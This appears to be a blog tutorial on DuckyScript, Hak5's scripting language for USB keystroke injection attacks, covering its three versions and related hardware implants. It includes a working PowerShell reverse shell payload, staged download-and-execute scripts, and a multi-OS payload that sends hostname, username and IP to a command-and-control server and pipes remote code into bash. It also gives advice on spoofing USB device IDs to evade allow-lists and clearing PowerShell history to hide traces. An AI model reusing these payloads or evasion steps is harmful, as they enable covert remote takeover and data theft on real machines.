DuckyScript (Scripting Keystroke Injection Attacks)
- Biohazard

- 6 days ago
- 10 min read

DuckyScript (Keystroke Injection Scripts)
DuckyScript is the domain-specific language created by Hak5 for programming keystroke injection attacks. It's the engine behind the USB Rubber Ducky, and now runs on nearly every Hak5 implant — O.MG Cable, Key Croc, Packet Squirrel Mark II, WiFi Pineapple Pager, Bash Bunny, and the Shark Jack. Despite its simple appearance, the language has evolved through three major generations with dramatically different capabilities.
What DuckyScript Actually Is
At its core, DuckyScript is a human-readable abstraction over HID (Human Interface Device) keystroke injection. When you write GUI r and STRING notepad.exe, the DuckyScript compiler translates that into raw USB HID scan codes — the same binary format a physical keyboard sends to the operating system. The target computer cannot distinguish a DuckyScript payload from a human typing. No drivers. No software agent. No privileges required. The OS sees a keyboard and processes the input exactly as it would from a real typist.
This is why DuckyScript bypasses basically everything: application allow-listing, endpoint detection, anti-virus — none of them block keyboards. The attack surface is the HID protocol itself, which is trusted by design.
DuckyScript 1.0 - The Original (Classic)
This is the original language shipped with the USB Rubber Ducky. Minimal, flat, single-file, no variables, no logic beyond IF conditions detecting OS via keyboard LEDs.
Core Commands
Command | Action |
REM | Comment. Ignored by compiler. |
DEFAULT_DELAY / DEFAULTDELAY | Sets delay (in ms) between each subsequent command. Default: 18ms. |
DELAY 500 | Pause for N milliseconds. Essential — OS needs time to open menus, launch apps, render UI before you type into them. |
STRING hello world | Types the literal text that follows. Spaces, punctuation, everything. |
ENTER | Presses Enter. |
GUI r | Windows key + R (Run dialog). GUI is the Windows/Command/Super key. |
MENU / APP | Context menu key (Shift+F10 equivalent on keyboards that have it). |
SHIFT, CTRL / CONTROL, ALT, TAB, ESC, SPACE | Single-key modifiers and special keys. |
CAPSLOCK, NUMLOCK, SCROLLLOCK | Toggle lock keys. |
WINDOWS / GUI | All three are aliases for the same modifier. |
COMMAND | macOS-specific alias for GUI. |
UP, DOWN, LEFT, RIGHT | Arrow keys. |
UPARROW, DOWNARROW, LEFTARROW, RIGHTARROW | Aliases. |
INSERT, DELETE, HOME, END, PAGEUP, PAGEDOWN | Navigation keys. |
PRINTSCREEN, PAUSE / BREAK | Special function keys. |
F1–F12 | Function keys. |
REPEAT n | Repeats the previous command n times. e.g., DELETE followed by REPEAT 50 deletes 50 characters. |
Multi-Key Combos
Any combination of modifier + key:
CTRL ALT DELETE → Ctrl+Alt+Del
GUI d → Minimize all windows (Win+D)
SHIFT F10 → Right-click equivalent
CTRL SHIFT ESC → Task Manager
CTRL c → Copy
CTRL v → PasteDelay Configuration
DEFAULT_DELAY 50 → 50ms between every command
DEFAULTDELAY 0 → No delay (dangerous — will outrun the OS)
DELAY 3000 → 3 second pauseReal engagements need tuning. Too fast and the payload outruns the OS (Run dialog isn't open yet when you start typing). Too slow and the implant sits there too long. Typical values: DEFAULT_DELAY 10–50ms, strategic DELAY commands of 500–3000ms after GUI interactions.
OS Detection via LEDs
DuckyScript 1.0's only "logic" — IF conditions that detect which OS is running by toggling keyboard LEDs and reading their state back:
IF CAPSLOCK → Check if Caps Lock LED is on
IF NOT_CAPSLOCK → Check if Caps Lock LED is off
; Windows (Caps Lock doesn't toggle on OS X / some Linux configs)
; Not reliable enough for real operations — most payloads are single-targetThe LED trick works because different OSes handle Caps Lock state differently during the initial HID handshake. This was clever in 2010 but is unreliable on modern systems and rarely used in serious payloads. Most operators write single-target payloads or use DuckyScript 3.0's EXTENSION DETECT_OS.
Example: Classic Reverse Shell (DuckyScript 1.0)
REM Windows reverse shell via Run dialog
DELAY 2000
GUI r
DELAY 500
STRING powershell -NoP -NonI -W Hidden -Exec Bypass -C "$c=New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$t=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($t,0,$t.Length);$s.Flush()};$c.Close()"
ENTERThis is the payload that made the Rubber Ducky famous. It opens Run, types a PowerShell one-liner reverse shell, and hits Enter. From plug-in to shell: ~3 seconds. The target sees a flash of the Run dialog, maybe a flicker of a PowerShell window — if they're looking.
DuckyScript 1.0 Limitations
No variables. Can't store and reuse data.
No functions / subroutines. All code is linear.
No arithmetic or string manipulation.
No file I/O. Can't read switch position, config files, or external data.
LED-based OS detection is flaky.
No extension mechanism. Language is a closed set of hardcoded commands.
Single file only. No #include, no modular payloads.
No loops beyond REPEAT n. Can't loop conditionally or indefinitely.
DuckyScript 2.0 - Programming Language Features
Introduced with the USB Rubber Ducky (2022 redesign, though the firmware supported it) and later adopted by the Bash Bunny Mark II. This was a major leap — DuckyScript became a proper programming language.
New Features
Feature | Syntax | Example |
Variables | $VARNAME = value | $IP = "10.10.10.5" |
String interpolation | STRING The target is $IP | Types: "The target is 10.10.10.5" |
Integer variables | $COUNT = 3 | Arithmetic: $COUNT = $COUNT + 1 |
Functions | FUNCTION name() ... END_FUNCTION | Reusable subroutines |
If/Else | IF (condition) ... ELSE ... END_IF | Real conditional branching |
While loops | WHILE (condition) ... END_WHILE | Conditional looping |
Switch position | $_SWITCH_POSITION | Read physical switch on Rubber Ducky (1-4 or any custom position) |
Random numbers | $_RANDOM_MIN, $_RANDOM_MAX | Random delay between 100-500ms: DELAY $_RANDOM(100,500) |
Buttons (Key Croc) | $_BUTTON_DOWN, $_BUTTON_UP | Read physical button on Key Croc |
Match variables (Key Croc) | $_MATCH | Content of the keylogger pattern match that triggered the payload |
Attack modes | ATTACKMODE HID STORAGE | Switch USB modes: HID (keyboard), STORAGE (flash drive), SERIAL, ECM (Ethernet), composite combinations |
VID/PID override | ATTACKMODE VID_0x045E PID_0x07A5 | Spoof a specific keyboard's USB IDs to bypass allow-lists |
LED control | LED_R, LED_G, LED_B | Set RGB LED color on devices that have one |
Button wait | BUTTON_DEF | Wait for button press before executing |
Multi-stage | WAKE_HOST | Wake sleeping computer before injecting |
Example: DuckyScript 2.0 with Variables and Functions
REM Multi-stage payload with error handling
DEFAULT_DELAY 20
$TARGET_IP = "192.168.45.189"
$PORT = 8443
FUNCTION OPEN_RUN()
GUI r
DELAY 300
END_FUNCTION
FUNCTION STAGE_ONE()
OPEN_RUN
STRING powershell -NoP -W Hidden -C "iwr http://$TARGET_IP/stage1.ps1 -OutFile $env:TEMP\s1.ps1; & $env:TEMP\s1.ps1 -TargetIP $TARGET_IP -Port $PORT"
ENTER
END_FUNCTION
FUNCTION STAGE_TWO()
DELAY 5000
OPEN_RUN
STRING powershell -NoP -W Hidden -C "iwr http://$TARGET_IP/stage2.ps1 -OutFile $env:TEMP\s2.ps1; & $env:TEMP\s2.ps1"
ENTER
END_FUNCTION
REM Pick payload based on switch position
IF ($_SWITCH_POSITION == 1) THEN
STAGE_ONE
ELSE IF ($_SWITCH_POSITION == 2) THEN
STAGE_TWO
ELSE
LED_R
BUTTON_DEF
STAGE_ONE
END_IF
LED_GThe operator can flip the physical switch to change behavior without recompiling. Position 1 runs stage one. Position 2 runs stage two. Any other position waits for a button press (on supported hardware) and blinks red to indicate it's armed and waiting.
ATTACKMODE Deep Dive
USB composite devices can present as multiple device classes simultaneously. DuckyScript exposes this:
ATTACKMODE HID → Keyboard only (stealthier)
ATTACKMODE STORAGE → Flash drive only
ATTACKMODE HID STORAGE → Keyboard + flash drive (classic Rubber Ducky)
ATTACKMODE HID SERIAL → Keyboard + serial console
ATTACKMODE HID ECM → Keyboard + Ethernet over USB (for network-based exfil)
ATTACKMODE HID STORAGE SERIAL → Keyboard + storage + serialECM (Ethernet Control Model) is particularly interesting — it makes the implant look like a USB Ethernet adapter. The target computer gets a new network interface. Combined with appropriate routing, this creates a covert channel that doesn't go through the target's firewall or network monitoring.
VID/PID spoofing is critical for bypassing naive USB device allow-listing:
ATTACKMODE HID VID_0x046D PID_0xC31C → Appears as a Logitech keyboard
ATTACKMODE HID VID_0x045E PID_0x07A5 → Appears as a Microsoft keyboard
ATTACKMODE HID VID_0x05AC PID_0x024F → Appears as an Apple keyboardDuckyScript 3.0 - Extensions, Preprocessing, and Modernization
DuckyScript 3.0 is the current generation, introduced alongside the O.MG Cable Elite and WiFi Pineapple Pager. This isn't just incremental — it introduces a preprocessor, extension system, and a fundamentally more capable runtime.
Preprocessor Directives
Borrowed from C, the preprocessor runs before compilation:
#include "payloads/common.ds" → Include external files
#define $MY_IP "10.10.10.5" → Compile-time constant (type-safe, inline)
#ifdef _WINDOWS → Conditional compilation
#ifdef _MACOS
#ifdef _LINUX
#ifndef
#else
#endifThis enables modular, maintainable payload libraries. Instead of one monolithic script, you can have:
#include "lib/windows/functions.ds"
#include "lib/common/evasion.ds"
#define $C2 "c2.operator.com"
#define $PORT 443
...payload body...Extensions
Extensions are dynamically loaded modules that expose new capabilities. They're written in C (compiled for the implant's architecture) and provide functions callable from DuckyScript:
EXTENSION DETECT_OS → Reliable OS detection (no LED tricks)
EXTENSION EXFIL → File exfiltration
EXTENSION WIFI → WiFi scanning and credential capture
EXTENSION BLE → Bluetooth LE operations
EXTENSION TCP → Raw TCP sockets
EXTENSION UDP → Raw UDP sockets
EXTENSION HTTP → HTTP client (GET/POST)
EXTENSION KEYLOGGER → Hardware keylogger (O.MG Cable Elite)
EXTENSION SELF_DESTRUCT → Destroy the implant
EXTENSION GEOLOCATION → Wi-Fi positioning via nearby BSSIDs
EXTENSION ENCRYPT → AES encrypt/decrypt
EXTENSION HASH → MD5/SHA hash functions
EXTENSION SLEEP → Low-power sleep with wake triggers
EXTENSION BUTTON → Button input (press, hold, combo detection)
EXTENSION NOTIFY → Push notification via Cloud C2
EXTENSION CRYPTO → Additional crypto operationsExample usage:
EXTENSION DETECT_OS
VAR $os = DETECT_OS
IF ($os == "WINDOWS") THEN
; Windows payload
ELSE IF ($os == "MACOS") THEN
; macOS payload
ELSE IF ($os == "LINUX") THEN
; Linux payload
END_IFOr WiFi exfil:
EXTENSION WIFI
VAR $networks = WIFI_SCAN
WIFI_CONNECT "Starbucks WiFi" "" → Open network
WIFI_CONNECT "CorpNet" "password" → WPA2
EXTENSION HTTP
HTTP_POST "https://c2.example.com/dump" $dataFunction Improvements
Functions now support parameters and return values:
FUNCTION POWERSHELL_ENCODE($CMD)
$encoded = BASE64_ENCODE($CMD)
RETURN "powershell -NoP -Enc $encoded"
END_FUNCTION
VAR $payload = POWERSHELL_ENCODE("whoami; hostname; ipconfig")
STRING $payloadHardware-Aware Features
DuckyScript 3.0 is device-aware. It knows what hardware it's running on and exposes device-specific capabilities:
On O.MG Cable Elite:
KEYLOGGER_START → Start hardware keylogger
KEYLOGGER_STOP → Stop and retrieve buffer
KEYLOGGER_CLEAR → Wipe keylog buffer
SELF_DESTRUCT → Physically destroy the cable (burns internal components)
GEOLOCATE → WiFi-based location lookup
On Key Croc:
$_MATCH → The pattern-matched keyword that triggered
$_KEYSTROKES → Buffer of recent keystrokes
MATCH "password" → Set match trigger
On Packet Squirrel Mark II:
NETMODE TRANSPARENT → Transparent bridge (passive sniffing)
NETMODE CLONE → MAC spoofing
NETMODE JAIL → Isolate target, respond to its DHCP
NETMODE ISOLATE → Target isolated, no passthroughDevice Compatibility Matrix
Device | DuckyScript Version | Key Features |
USB Rubber Ducky (classic) | 1.0 | Basic keystroke injection, ATTACKMODE, LED OS detection |
USB Rubber Ducky (2022) | 2.0 | Variables, functions, IF/WHILE, switch position, random delays |
Bash Bunny | 1.0 + Bunny extensions | Multi-attack switch, multiple payload files |
Bash Bunny Mark II | 2.0 + extensions | Full DuckyScript 2.0, Cloud C2 native |
O.MG Cable (Basic) | 2.0 subset | Core injection, WiFi control |
O.MG Cable (Elite) | 3.0 | Full 3.0, extensions, keylogger, self-destruct, geofencing |
Key Croc | 2.0 + Croc extensions | Match variables, button, keylogger buffer |
Packet Squirrel Mark II | 2.0 + NETMODE extensions | Network modes, TCP/UDP/HTTP extensions |
WiFi Pineapple Pager | 3.0 | Full 3.0, PineAP integration, DuckyScript payload engine |
Shark Jack | 2.0 subset | Single-file payload, serial console output |
Development Tools & Compilation
Payload Studio (Hak5 Official)
Web-based IDE at payloadstudio.hak5.org. Syntax highlighting, auto-complete, version management, community payload library, and direct compilation to inject.bin. Compiles for all supported devices with target-specific optimizations.
DuckEncoder (Classic Offline)
The original Java-based encoder for DuckyScript 1.0. Takes a .txt payload file, produces inject.bin. Still works for legacy payloads but doesn't support 2.0/3.0 features.
PayloadStudio Desktop
Offline Electron-based version of Payload Studio. Useful for air-gapped payload development.
Community Payloads
payloadstudio.hak5.org/community — thousands of community-contributed payloads. Categories: credential harvesting, reverse shells, privesc, exfiltration, pranks, recon, persistence. Varying quality — audit before using.
Runtime Behavior & Delivery
USB Rubber Ducky
Insert Ducky into USB port
Ducky enumerates as a USB HID keyboard (and optionally mass storage)
OS recognizes new keyboard — no prompt, no driver install (HID is universal)
Ducky reads inject.bin from MicroSD, parses DuckyScript bytecode
Injects keystrokes at the speed defined by DEFAULT_DELAY / DELAY
Ejects or continues based on payload (LED shows status)
O.MG Cable
Cable is plugged in (looks like a normal charging cable)
Attacker connects to cable's WiFi access point or Cloud C2
Payload triggered remotely via web interface, script, or physical button
Injections happen while victim uses the cable normally to charge/transfer data
Keylogger (Elite) runs continuously, payload triggers on MATCH keywords
Key Croc
Croc sits inline between keyboard and computer
Keyboard works normally — victim notices nothing
Keylogger runs continuously, buffering keystrokes
When a MATCH keyword is typed (e.g., "password:"), Croc triggers the associated payload
Payload executes with the victim's authenticated session, at the exact moment of credential entry
Practical OPSEC Considerations
Delay Tuning is Critical
The most common payload failure mode is typing too fast. The OS needs time to:
Open the Run dialog after GUI r (200–500ms on a modern SSD, 500–2000ms on spinning rust)
Launch PowerShell (500–2000ms depending on system load)
Process each character (default 18ms is safe, 5ms is pushing it on some systems)
A payload that works perfectly on a fast i7 workstation might fail on a locked-down corporate thin client. Test on representative hardware.
Language/Layout Assumptions
STRING powershell types the characters p-o-w-e-r-s-h-e-l-l. On a US keyboard, that's fine. On an AZERTY keyboard, those same scan codes produce completely different characters. The Ducky sends USB HID scan codes, not characters. The target's keyboard layout maps scan codes to glyphs. Always know (or force) the target's keyboard layout.
DuckyScript 3.0 partially mitigates this with EXTENSION DETECT_KB_LAYOUT on some devices.
ATTACKMODE Selection
HID alone is stealthiest — no storage device appears, no "would you like to format?" popup
HID STORAGE is the classic but generates a drive letter and potential autorun scan
HID ECM creates a network interface — stealthy on some systems, triggers network alerts on others
VID/PID spoofing matters for organizations that use USB device control software
Cleanup
A professional payload cleans up after itself. After the reverse shell is established or the payload stager has run, the script should:
Close the PowerShell/terminal window it opened
Clear PowerShell history (Clear-History or delete ConsoleHost_history.txt)
Delete any dropped files
Disconnect gracefully
Leaving a PowerShell window open with a command in the buffer is amateur hour.
Example: Full DuckyScript 3.0 Staged Payload
REM ============================================
REM Multi-OS staged payload with exfil
REM DuckyScript 3.0 — O.MG Cable Elite
REM ============================================
#include "lib/common/evasion.ds"
#include "lib/common/exfil.ds"
#define $C2_SERVER "api.operator-c2.com"
#define $STAGE_PATH "/s/"
DEFAULT_DELAY 15 ; Conservative for unknown hardware
EXTENSION DETECT_OS
EXTENSION HTTP
EXTENSION ENCRYPT
VAR $os = DETECT_OS
VAR $hostname = ""
VAR $username = ""
LED_B ; Blue = detecting OS
IF ($os == "WINDOWS") THEN
LED_G ; Green = Windows confirmed
DELAY 2000
GUI r
DELAY 300
STRING powershell -NoP -W Hidden -C "
ENTER
DELAY 3000
GUI r
DELAY 300
; Stage 1: lightweight recon, beacon back
STRING powershell -NoP -W Hidden -C "$h=hostname;$u=$env:USERNAME;$ip=(Get-NetIPAddress -AddressFamily IPv4 | Where-Object InterfaceAlias -NotLike '*Loopback*').IPAddress;$d='{\"host\":\"'+$h+'\",\"user\":\"'+$u+'\",\"ip\":\"'+$ip[0]+'\",\"os\":\"win\"}';iwr -Uri 'https://$C2_SERVER/beacon' -Method POST -Body $d -UseBasicParsing"
ENTER
ELSE IF ($os == "MACOS") THEN
LED_Y ; Yellow = macOS
DELAY 2000
GUI SPACE ; Spotlight
DELAY 500
STRING terminal
DELAY 1000
ENTER
DELAY 1000
STRING curl -s https://$C2_SERVER/$STAGE_PATH/mac.sh | bash &
ENTER
DELAY 500
GUI h ; Hide terminal
END_IF
LED_OFF ; Payload completeThis payload adapts to the target OS, beacons back to C2 with host info, and stages further instructions. The operator now has OS, hostname, username, and local IP — enough to decide whether to deploy a full implant.








Comments